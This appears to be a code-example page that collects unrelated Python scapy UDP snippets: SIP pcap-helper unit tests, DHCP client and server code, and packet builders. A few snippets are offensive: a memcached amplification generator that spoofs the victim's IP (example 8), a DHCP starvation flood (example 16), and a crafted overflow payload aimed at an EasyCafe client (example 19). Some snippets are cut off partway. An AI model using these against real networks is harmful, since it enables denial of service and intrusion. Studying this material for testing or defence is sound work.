예제 #1
0
    def test_getSipCallFlowFrom_when_simpleScenario(self):
        a = scapy_layers.IP(
            src="127.0.0.2", dst="127.0.0.5"
        ) / scapy_layers.UDP(
            sport=5050, dport=5010
        ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
        b = scapy_layers.IP(
            src="127.0.0.5", dst="127.0.0.2"
        ) / scapy_layers.UDP(
            sport=5010, dport=5050
        ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
        packets = [a, b]
        client = pcap_helper.PeerData(ip="127.0.0.2",
                                      port=5050,
                                      protocol=scapy_layers.UDP)

        callFlow = pcap_helper.getSipCallFlowFrom(packets, client)

        self.assertEqual(2, len(callFlow))
        firstPacketInfo = pcap_helper.PacketInfo(a,
                                                 pcap_helper.CLIENT_TO_SERVER)
        self.assertEqual(firstPacketInfo, callFlow[0])
        secondPacketInfo = pcap_helper.PacketInfo(b,
                                                  pcap_helper.SERVER_TO_CLIENT)
        self.assertEqual(secondPacketInfo, callFlow[1])
예제 #2
0
 def test_packetsHandler_typical(self):
     a = scapy_layers.IP() / scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     b = scapy_layers.IP() / scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     c = [a, b]
     pcap_helper.packetsHandler(
         c, "[email protected]")
예제 #3
0
 def test_packetsHandler_when_NoPacketsMatched(self):
     a = scapy_layers.IP() / scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     b = scapy_layers.IP() / scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     c = [a, b]
     with self.assertRaises(SystemExit) as se:
         pcap_helper.packetsHandler(
             c, "[email protected]")
     self.assertEqual(se.exception.code, 0)
예제 #4
0
 def test_filterPacketsByCallid_when_NoPacketsMatched(self):
     a = scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     b = scapy_layers.UDP(
     ) / "INVITE sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     c = [a, b]
     filtered_packets, num_filtered_packets = pcap_helper.filterPacketsByCallid(
         c, "[email protected]")
     self.assertEqual(0, num_filtered_packets)
     self.assertEqual([], filtered_packets)
예제 #5
0
 def set_header_layer4_udp(self, source_port, destination_port, **kwargs):
     """
     Build scapy UDP L4 objects inside instance packet_data structure
     :param source_port: Source port as int
     :param destination_port: Destination port as int
     :param kwargs: Extra params per scapy usage
     :return: None
     """
     self.packet_data['layer4'] = [
         inet.UDP(sport=source_port, dport=destination_port, **kwargs),
         inet.UDP(sport=source_port, dport=destination_port, **kwargs)
     ]
    def udp_dport_Mapped(self):
        src_ref = '181.149.152.176'
        dst_ref = '125.195.213.93'
        
        ref_pkt = inet.UDP(dport=30)
        mac_pkt = inet.UDP(dport=20)

        data = lib.build_mock_dict()

        data[TMdef.PACKET]['ip_src_old'] = src_ref

        pp.tcp_dport_change(mac_pkt, data)

        self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
예제 #7
0
 def dhcp_offer(self, device, fromBackdoor=False):
     if device.yiaddr == '0.0.0.0':
         yiaddr = self.ip_addr_allocate(device.hwAddr)
         device.yiaddr = yiaddr
     else:
         yiaddr = device.yiaddr
     print('offer ip: %s' % yiaddr)
     packet = (
         l2.Ether(dst="ff:ff:ff:ff:ff:ff", src=self.etherSrc) /
         inet.IP(src=self.myIP, dst="255.255.255.255") /
         inet.UDP(sport=67, dport=68) /
         dhcp.BOOTP(op=2,
                    chaddr=macTransfer(device.hwAddr),
                    yiaddr=yiaddr,
                    xid=device.xid) /
         dhcp.DHCP(options=[("message-type", "offer"), ("lease_time", 7200),
                            ("server_id", self.myIP),
                            ("vendor_class_id",
                             device.vendor_class_id), "end"]))
     #print(str(packet).encode('hex'))
     #print(macTransfer("00:0e:5e:00:00:0a"))
     try:
         if fromBackdoor == False:
             sendrecv.sendp(packet,
                            iface=self.iface,
                            count=1,
                            verbose=False)
     except:
         raise
예제 #8
0
    def generate_attack_packets(self) -> None:
        ip_attacker = self.get_param_value(self.IP_SOURCE)
        mac_attacker = self.get_param_value(self.MAC_SOURCE)
        ip_amplifier = self.get_param_value(self.IP_DESTINATION)
        mac_amplifier = self.get_param_value(self.MAC_DESTINATION)
        ip_victim = self.get_param_value(self.IP_VICTIM)

        timestamp_next_pkt = self.get_param_value(self.INJECT_AT_TIMESTAMP)
        self.attack_start_utime = timestamp_next_pkt

        attack_duration = self.get_param_value(self.ATTACK_DURATION)
        attack_ends_time = timestamp_next_pkt + attack_duration

        _, src_ttl, _ = self.get_ip_data(ip_attacker)
        sport = Util.generate_source_port_from_platform('linux')

        # Use MAC of the actual source, but the IP of the victim
        attacker_ether = inet.Ether(src=mac_attacker, dst=mac_amplifier)
        attacker_ip = inet.IP(src=ip_victim, dst=ip_amplifier, ttl=src_ttl, flags='DF')

        while timestamp_next_pkt <= attack_ends_time:
            request_udp = inet.UDP(sport=sport, dport=Memcd.memcached_port)
            request_memcd = Memcd.Memcached_Request(Request=b'stats\r\n', RequestID=inet.RandShort())
            request = (attacker_ether / attacker_ip / request_udp / request_memcd)
            request.time = timestamp_next_pkt

            self.add_packet(request, ip_victim, ip_amplifier)

            timestamp_next_pkt = self.timestamp_controller.next_timestamp()
예제 #9
0
 def _do_request_lease(self, mac_address, ip=None, timeout_sec=10):
     logging.debug(
         f"Requesting lease for mac {mac_address} ip {ip} iface {self._net_iface}"
     )
     mac_raw = codecs.decode(mac_address.replace(':', ''), 'hex')
     if ip is None:
         broadcast_flag = scapy.fields.FlagValue(0b1000000000000000,
                                                 "???????????????B")
         dhcp_discover = l2.Ether(src=self._real_mac, dst='ff:ff:ff:ff:ff:ff') / \
                         inet.IP(src='0.0.0.0', dst='255.255.255.255') / \
                         inet.UDP(dport=67, sport=68) / \
                         dhcp.BOOTP(chaddr=mac_raw, xid=scapy.volatile.RandInt(), flags=broadcast_flag) / dhcp.DHCP(options=[('message-type', 'discover'), 'end'])
         dhcp_offer = sendrecv.srp1(dhcp_discover,
                                    iface=self._net_iface,
                                    verbose=self._verbose,
                                    timeout=timeout_sec)
         if dhcp_offer is None:
             raise TimeoutError(
                 f"Timeout. failed to get offer for mac {mac_address} iface: {self._net_iface}"
             )
         ip = dhcp_offer[dhcp.BOOTP].yiaddr
         server_id = DHCPRequestor._server_id_from_offer(
             dhcp_offer[dhcp.BOOTP])
         xid_cookie = dhcp_offer[dhcp.BOOTP].xid
     else:
         server_id = None
         xid_cookie = 0
     return self._dhcp_request(mac_raw,
                               ip,
                               xid_cookie,
                               server_id,
                               timeout_sec=timeout_sec)
예제 #10
0
 def _build_packet_header(self, reverse=False):
     """
     Build a packet header based on traffic profile using scapy external
     libraries.
     :param reverse: Swap source and destination info when building header
     :return: packet header in hex
     """
     srcmac = self._params['traffic']['l2'][
         'srcmac'] if not reverse else self._params['traffic']['l2'][
             'dstmac']
     dstmac = self._params['traffic']['l2'][
         'dstmac'] if not reverse else self._params['traffic']['l2'][
             'srcmac']
     srcip = self._params['traffic']['l3'][
         'srcip'] if not reverse else self._params['traffic']['l3']['dstip']
     dstip = self._params['traffic']['l3'][
         'dstip'] if not reverse else self._params['traffic']['l3']['srcip']
     layer2 = inet.Ether(src=srcmac, dst=dstmac)
     layer3 = inet.IP(src=srcip,
                      dst=dstip,
                      proto=self._params['traffic']['l3']['proto'])
     layer4 = inet.UDP(sport=self._params['traffic']['l4']['srcport'],
                       dport=self._params['traffic']['l4']['dstport'])
     if self._params['traffic']['vlan']['enabled']:
         vlan = inet.Dot1Q(vlan=self._params['traffic']['vlan']['id'],
                           prio=self._params['traffic']['vlan']['priority'],
                           id=self._params['traffic']['vlan']['cfi'])
     else:
         vlan = None
     packet = layer2 / vlan / layer3 / layer4 if vlan else layer2 / layer3 / layer4
     packet_bytes = bytes(packet)
     packet_hex = '0x' + binascii.hexlify(packet_bytes).decode('utf-8')
     return packet_hex
예제 #11
0
    def dhcp_ack(self, device, fromBackdoor=False):
        yiaddr = device.yiaddr
        print('ack ip: %s' % yiaddr)
        packet = (
            l2.Ether(dst="ff:ff:ff:ff:ff:ff", src=self.etherSrc) /
            inet.IP(src=self.myIP, dst=yiaddr) / inet.UDP(sport=67, dport=68) /
            dhcp.BOOTP(op=2,
                       chaddr=macTransfer(device.hwAddr),
                       yiaddr=yiaddr,
                       xid=device.xid) / dhcp.DHCP(options=[
                           ("message-type", "ack"),
                           ("lease_time", 7200),
                           ("server_id", self.myIP),
                           ("subnet_mask", self.subnetMask),
                           ("router", self.router),
                           ("vendor_class_id", device.vendor_class_id),
                           #("client_id",device.client_id),
                           "end"
                       ]))
        try:
            if fromBackdoor == False:
                sendrecv.sendp(packet,
                               iface=self.iface,
                               count=1,
                               verbose=False)
        except:
            raise

        device.yiaddr_acked = True
예제 #12
0
 def setUp(self):
     a = scapy_layers.IP(
         src="127.0.0.2", dst="127.0.0.5"
     ) / scapy_layers.UDP(
         sport=5050, dport=5010
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     b = scapy_layers.IP(
         src="127.0.0.5", dst="127.0.0.2"
     ) / scapy_layers.UDP(
         sport=5010, dport=5050
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     firstPacketInfo = pcap_helper.PacketInfo(a,
                                              pcap_helper.CLIENT_TO_SERVER)
     secondPacketInfo = pcap_helper.PacketInfo(b,
                                               pcap_helper.SERVER_TO_CLIENT)
     self.callFlow = [firstPacketInfo, secondPacketInfo]
     pass
예제 #13
0
 def test_getDirectionFor_when_CLIENT_TO_SERVER(self):
     packet = scapy_layers.IP(
         src="127.0.0.2", dst="127.0.0.5") / scapy_layers.UDP(sport=5050,
                                                              dport=5010)
     client = pcap_helper.PeerData(ip="127.0.0.2",
                                   port=5050,
                                   protocol=scapy_layers.UDP)
     direction = pcap_helper.getDirectionFor(packet, client)
     self.assertEqual(pcap_helper.CLIENT_TO_SERVER, direction)
예제 #14
0
    def _forge_scapy_response(self, scapy_msg):
        new_msg = l2.Ether(src=scapy_msg[l2.Ether].dst, dst=scapy_msg[l2.Ether].src)
        if scapy_msg.haslayer(scapy_inet.IP):
            new_msg /= scapy_inet.IP(src=scapy_msg[scapy_inet.IP].dst, dst=scapy_msg[scapy_inet.IP].src)
        else:
            new_msg /= scapy_inet.IPv6(src=scapy_msg[scapy_inet6.IPv6].dst, dst=scapy_msg[scapy_inet6.IPv6].src)

        new_msg /= scapy_inet.UDP(sport=scapy_msg[scapy_inet.UDP].dport, dport=scapy_msg[scapy_inet.UDP].sport)

        return new_msg
예제 #15
0
 def test_getClientServerDataFrom_when_UDP(self):
     tcp_packet = scapy_layers.IP(
         src="127.0.0.2", dst="127.0.0.5") / scapy_layers.UDP(sport=5050,
                                                              dport=5010)
     client, server = pcap_helper.getClientServerDataFrom(tcp_packet)
     self.assertEqual(client.ip, "127.0.0.2")
     self.assertEqual(client.port, 5050)
     self.assertEqual(client.protocol, scapy_layers.UDP)
     self.assertEqual(server.ip, "127.0.0.5")
     self.assertEqual(server.port, 5010)
     self.assertEqual(server.protocol, scapy_layers.UDP)
예제 #16
0
파일: dhcpwn.py 프로젝트: tyekrgk/dhcpwn
def dhcp_flood(**kwargs):
    iface = kwargs["interface"]
    count = kwargs["count"]

    unique_hexdigits = str.encode("".join(set(string.hexdigits.lower())))
    packet = (l2.Ether(dst="ff:ff:ff:ff:ff:ff") /
              inet.IP(src="0.0.0.0", dst="255.255.255.255") /
              inet.UDP(sport=68, dport=67) /
              dhcp.BOOTP(chaddr=volatile.RandString(12, unique_hexdigits)) /
              dhcp.DHCP(options=[("message-type", "discover"), "end"]))

    sendrecv.sendp(packet, iface=iface, count=count)
예제 #17
0
    def refreshAll(self, frame=None):
        if not frame:
            frame = self.getFrame()

        ip_packet = inet.IP(frame.payload)

        if frame.payload.payload.name == "NoPayload":
            self.statusBar.showMessage(
                "Sorry, only correct packets can be loaded. Loading L2 and L3...",
                1000)
            if self.tab_L3_Widget.currentIndex() == 0:
                self.fillIPv4(ip_packet)
            else:
                self.fillICMP(ip_packet)
            # TODO: according to current tab place values in ipv4 or icmp DONE

        if frame.payload.payload.name == "TCP":
            tcp_packet = inet.TCP(ip_packet.payload)
            self.tab_L3_Widget.setCurrentIndex(0)
            self.tab_L4_Widget.setCurrentIndex(0)
            self.fillIPv4(ip_packet)
            self.fillTCP(tcp_packet)
        elif frame.payload.payload.name == "UDP":
            udp_packet = inet.UDP(ip_packet.payload)
            self.tab_L3_Widget.setCurrentIndex(0)
            self.tab_L4_Widget.setCurrentIndex(1)
            self.fillIPv4(ip_packet)
            self.fillUDP(udp_packet)
        elif frame.payload.payload.name == "Raw" or frame.payload.payload.name == "Padding":  # ICMP, but need to be carefull if want to use this later
            self.fillICMP(ip_packet)
        elif frame.payload.payload.name == "ICMP":
            self.fillICMP(ip_packet)
            icmp_packet = inet.ICMP(ip_packet.payload)
            self.spinBox_icmp_Type.setValue(
                icmp_packet.getfield_and_val('type')[1])
            self.spinBox_icmp_Code.setValue(
                icmp_packet.getfield_and_val('code')[1])
            # TODO checksum not implemented

        self.fillEther(frame)
예제 #18
0
    def _dhcp_request(self,
                      mac_raw,
                      requested_ip,
                      xid_cookie=0,
                      server_id="0.0.0.0",
                      timeout_sec=10):
        logging.debug(
            f"Sending dhcp request for {requested_ip} cookie {xid_cookie} server id {server_id} net {self._net_iface}"
        )
        broadcast_flag = scapy.fields.FlagValue(0b1000000000000000,
                                                "???????????????B")

        dhcp_options = [("message-type", "request")]
        if server_id is not None:
            dhcp_options.append(("server_id", server_id))
        dhcp_options.extend([("requested_addr", requested_ip),
                             ("param_req_list", 0), "end"])

        dhcp_request = l2.Ether(src=self._real_mac, dst="ff:ff:ff:ff:ff:ff") / \
                        inet.IP(src="0.0.0.0", dst="255.255.255.255") / \
                        inet.UDP(sport=68, dport=67) / \
                        dhcp.BOOTP(chaddr=mac_raw, xid=xid_cookie, flags=broadcast_flag) / \
                        dhcp.DHCP(options=dhcp_options)

        # send request, wait for ack
        dhcp_reply = sendrecv.srp1(dhcp_request,
                                   iface=self._net_iface,
                                   verbose=self._verbose,
                                   timeout=timeout_sec)
        if dhcp_reply is None:
            raise TimeoutError(
                f"DHCP request timeout on net {self._net_iface}")
        reply = DHCPRequestor._dhcp_reply_info(dhcp_reply)
        if dhcp.DHCPTypes[reply['message-type']] != 'ack':
            raise Exception("Failed to get ack %s" % reply)
        return reply
예제 #19
0
from scapy.all import *
from scapy.layers import inet

sr_ip = '192.168.1.15'
ds_ip = '127.0.0.1'

pack = "þ\x00\x00\x00\x00\x00\x00\x00\\é\x00\x00\x01\x00\x00\x00<û\x12\x00cmáwF\x02\x02\x00\x12\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00²ÁF\x00F\x02\x02\x00\x12\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Dû\x12\x00ÊÁF\x00ÒÁF\x00ì\x00\x00\x00G\x01\x00\x00¤\x84w\x01\x00\x00\x00\x00`û\x12\x00¦µE\x00\x14\x00\x00\x00añA\x00\x80\x0bp\x01\x99\x00C\x00¡\x00C\x00G\x01\x00\x00\xa0\x0bp\x01ï²E\x00`û\x12\x00\x06³E\x00\x0e³E\x00$þ\x12\x00\x18³E\x00`û\x12\x00ì\x00\x00\x00G\x01\x00\x00¤\x84w\x01\\\x04r\x01xû\x12\x00Ú\x8bB\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01\x01\x00\x00\x00\x98û\x12\x00¨,áwà\x02\x01\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01G\x01\x00\x00Í«ºÜ´û\x12\x00dGáwS\x0f\x80\x01à\x02\x01\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01Üû\x12\x00 Gáw\x901\x8f\x00\x84\x00\x00\x00\x00\x00\x00\x000Gáw\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ü\x12\x00ï\x15úwìû\x12\x00\x18\x00\x00\x00\x901\x8f\x00\x84\x00\x00\x00\x00\x00\x00\x00^\x01Õ\x01S\x0f\x80\x015GáwÀÕâwµ\x02\x0e\x00.I am  a Vulnerable version of EasyCafe Client!\x00F\x02\x02\x00\x00\x00\x00\x00G\x01\x00\x00ì\x00\x00\x00tü\x12\x00\x88qp\x01´¯~\x01hnF\x00h\x01e\x00T½r\x01¼\x87E\x00T½r\x01G\x01\x00\x00ì\x00\x00\x00\x90ü\x12\x00ì\x87E\x00:\x00\x00\x00D\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x10´ü\x12\x00o\x88E\x00:\x00\x00\x00D\x00\x00\x00\x04\x02\x00\x00Tþ\x12\x00T½r\x01ìý\x12\x00\x04\x02\x00\x00ìý\x12\x00ô\x89E\x00\x00\x02\x00\x00T½r\x01Tþ\x12\x00ÿ\x85E\x00\x04\x02\x00\x00Tþ\x12\x00T½r\x01ÿ\x85E\x00<ÿ\x12\x00Tþ\x12\x00ð\x84r\x01ê\x04âw¨:\x8f\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x81÷wª®F\x00\x01\x00\x00\x00\x01\x00\x00\x00\\Ôw\x01Ðý\x12\x000ý\x12\x00Æ®F\x00ª®F\x00\x02\x00\x00\x00\x01\x00\x00\x00<\x0cw\x01Ðý\x12\x00\x062.2.14\x00ª®F\x00\n\x00\x00\x00\x01\x00\x00\x00Dñw\x01Ðý\x12\x00hý\x12\x00Æ®F\x00ª®F\x00\x00\x00\x00\x00\x18\x8cw\x01¤ý\x12\x00H®F\x01\x88ý\x12\x00^vF\x00Ðý\x12\x00\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01H®F\x000\x04x\x01¸ý\x12\x00)wF\x00¸ý\x12\x00\x00\x00\x00\x00Tþ\x12\x00\x00\x00\x00\x00èý\x01\x00\r\x00\x00\x00\x00\x00\x00\x00\x18\x8cw\x01H®F\x00\x00\x00\x00\x00Ðý\x12\x00"

send(inet.IP(src=sr_ip, dst=ds_ip) / inet.UDP(sport=800, dport=804) / pack)
예제 #20
0
                if (crc := self.lineEdit_tcp_Checksum.text()) != "":
                    tcpPacket.chksum = int(crc)
                if (urgP := self.spinBox_tcp_Urgent.value()) != 0:
                    tcpPacket.urgptr = urgP
                tcpopti = ""
                if self.checkBox_tcp_Nops.isChecked():
                    tcpopti = tcpopti + 2 * str(0x01)
                if self.checkBox_tcp_Timestamp.isChecked():
                    tcpopti = tcpopti + str(0x08) + str(0x0a) + str(
                        hex(int(time.time())))
                tcpPacket.options = tcpopti

                ipPacket = ipPacket / tcpPacket / self.plainTextEdit_tcp_Data.toPlainText(
                )
            else:
                udpPacket = inet.UDP()

                if (sport := self.spinBox_udp_SRCPort.value()) != 0:
                    udpPacket.sport = sport
                if (dport := self.spinBox_udp_DSTPort.value()) != 0:
                    udpPacket.dport = dport
                if (len := self.spinBox_udp_Length.value()) != 0:
                    udpPacket.len = len

                # for chksum
                pkt = inet.IP() / udpPacket
                pkt = inet.IP(inet.raw(pkt))
                if self.lineEdit_udp_Checksum.text() != "" and pkt[
                        inet.UDP].chksum != self.lineEdit_udp_Checksum.text():
                    udpPacket.chksum = int(self.lineEdit_udp_Checksum.text())
                ipPacket = ipPacket / udpPacket / self.plainTextEdit_udp_Data.toPlainText(
예제 #21
0
 def test_getClientServerPortFrom_when_UDP(self):
     udp_packet = scapy_layers.UDP(sport=5070, dport=5080)
     client_port, server_port = pcap_helper.getClientServerPortFrom(
         udp_packet, scapy_layers.UDP)
     self.assertEqual(5070, client_port)
     self.assertEqual(5080, server_port)
예제 #22
0
 def test_isCallIdInPacket_when_False(self):
     a = scapy_layers.UDP(
     ) / "OPTIONS sip:Fw-NMS-2:5060 SIP/2.0\r\nVia: SIP/2.0/UDP 10.252.47.186:5060;branch=z9hG4bK0g04430050bgj18o80j1\r\nTo: sip:ping@Fw-NMS-2\r\nFrom: <sip:[email protected]>;tag=g000000q5m200-jbe0000\r\nCall-ID: [email protected]\r\nCSeq: 14707 OPTIONS\r\nMax-Forwards: 0\r\nContent-Length: 0\r\n\r\n"
     self.assertFalse(
         pcap_helper.isCallIdInPacket(a, "sdasdasfassasasd47.186"))
예제 #23
0
 def test_getClientServerProtocolFrom_when_UDP(self):
     udp_packet = scapy_layers.UDP()
     protocol = pcap_helper.getClientServerProtocolFrom(udp_packet)
     self.assertEqual(scapy_layers.UDP, protocol)